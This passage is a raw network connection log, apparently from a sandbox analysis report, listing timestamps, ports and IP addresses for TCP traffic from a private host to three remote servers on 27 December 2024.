Dec 27, 2024 14:42:40.561592102 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.561626911 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.561728954 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.561728954 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.561748028 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.561814070 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.569437981 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.569457054 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.569567919 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.569581032 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.569713116 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.574120998 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.726841927 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.726891041 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.726974010 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.726995945 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.727063894 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.727063894 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.733809948 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.733827114 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.733974934 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.733984947 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.734078884 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.741748095 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.741763115 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.741836071 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.741842985 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.741944075 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.749741077 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.749754906 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.749845028 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.749852896 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.749989033 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.756797075 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.756813049 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.756925106 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.756939888 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.757085085 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.765255928 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.765273094 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.765342951 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.765361071 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.765783072 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.773045063 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.773072004 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.773164034 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.773164034 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.773175001 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.773226023 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.780190945 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.780214071 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.780312061 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.780312061 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.780319929 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.780468941 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.781299114 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.942053080 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.942079067 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.942256927 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.942256927 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.942271948 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.942559958 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.948759079 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.948777914 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.948916912 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.948916912 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.948926926 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.949035883 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.956676006 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.956696033 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.956744909 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.956751108 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.957535028 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.957535028 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.964766979 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.964785099 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.964838028 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.964843035 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.964895964 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.964895964 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.971790075 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.971806049 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.972404003 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.972404003 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.972424984 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.973467112 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.980232954 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.980256081 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.980484962 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.980484962 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.980500937 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.980937958 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.987279892 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.987303019 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.987334013 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.987343073 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.987370968 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.987370968 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.995186090 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.995202065 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.995261908 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:40.995273113 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:40.995440006 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.000807047 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.159837008 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.159862995 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.159965992 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.159980059 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.159996986 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.160017967 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.167129993 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.167144060 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.167222023 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.167228937 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.167355061 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.174119949 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.174139023 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.174184084 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.174196959 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.174222946 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.174297094 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.534035921 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.534048080 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.534087896 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.534181118 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.534207106 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.534389019 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.534396887 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.534410954 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.534506083 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.535748005 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.535763025 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.535821915 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.535830975 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.535978079 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.535995960 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.536046028 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.536046028 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.536053896 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.537898064 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.537915945 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.537957907 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.537986994 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.537995100 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.538053036 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.538053036 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.539036989 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.539050102 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.539205074 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.539211035 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.539454937 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.539997101 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.540011883 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.540049076 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.540054083 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.541488886 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.541511059 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.541551113 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.541557074 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.541569948 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.541604042 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.541785002 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.541800022 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.541876078 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.541882992 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.542231083 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.542249918 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.542277098 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.542289972 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.542309046 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.542366982 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.543155909 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.543169975 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.543292046 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.543297052 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.543543100 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.543551922 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.581247091 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.581264973 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.581368923 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.581384897 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.583589077 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.588736057 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.588751078 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.588834047 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.588843107 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.589632988 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.595613956 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.595635891 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.595849037 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.595863104 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.595952034 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.653688908 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.653707027 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.653748989 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.653759003 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.653791904 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.653799057 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.658714056 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.658752918 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.658793926 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.658809900 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.658830881 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.658859968 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.659509897 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.659528017 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.659540892 CET	49745	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.659548044 CET	443	49745	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.769285917 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.769345999 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:41.769443035 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.769711971 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:41.769726992 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.026536942 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.026607037 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.036284924 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.036325932 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.036552906 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.037708044 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.083333969 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.488991976 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.489038944 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.489068985 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.489089966 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.489103079 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.489115000 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.489136934 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.489173889 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.489212990 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.489228010 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.497140884 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.497191906 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.497215986 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.505561113 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.505630016 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.505655050 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.549598932 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.549638987 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.596479893 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.690021038 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.693937063 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.694096088 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.694128036 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.701807022 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.701858044 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.701869011 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.709517956 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.709570885 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.709597111 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.724987984 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.725048065 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.725064993 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.732815981 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.732860088 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.732886076 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.732902050 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.732956886 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.740612984 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.740675926 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.740719080 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.740731001 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.756192923 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.756241083 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.756259918 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.763950109 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.764015913 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.764024973 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.771723986 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.771790028 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.771800041 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.815226078 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.891329050 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.895086050 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.895139933 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.895164967 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.902609110 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.902656078 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.902664900 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.910316944 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.910362005 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.910371065 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.925201893 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.925249100 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.925257921 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.932818890 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.932878017 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.932885885 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.932924032 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.947868109 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.947875977 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.947917938 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.955434084 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.955471992 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.970537901 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.970551968 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.970607996 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.978035927 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.978089094 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:43.993113995 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:43.993213892 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.008083105 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.008137941 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.023011923 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.023077011 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.092359066 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.092449903 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.095324039 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.095379114 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.106837034 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.106914997 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.118192911 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.118259907 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.123601913 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.123670101 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.133868933 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.133954048 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.143747091 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.143814087 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.148592949 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.148659945 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.148670912 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.148772955 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.148799896 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.148814917 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.148822069 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.148838043 CET	49746	443	192.168.2.4	172.67.182.218
Dec 27, 2024 14:42:44.148842096 CET	443	49746	172.67.182.218	192.168.2.4
Dec 27, 2024 14:42:44.686547995 CET	49747	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:44.806118965 CET	80	49747	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:44.806231022 CET	49747	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:44.825849056 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:44.826339006 CET	49747	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:42:44.945384979 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:44.945492029 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:44.945765972 CET	80	49747	172.67.161.29	192.168.2.4
Dec 27, 2024 14:42:45.033194065 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:45.152733088 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:45.153599977 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:45.273159027 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:45.273251057 CET	49748	8293	192.168.2.4	89.23.100.42
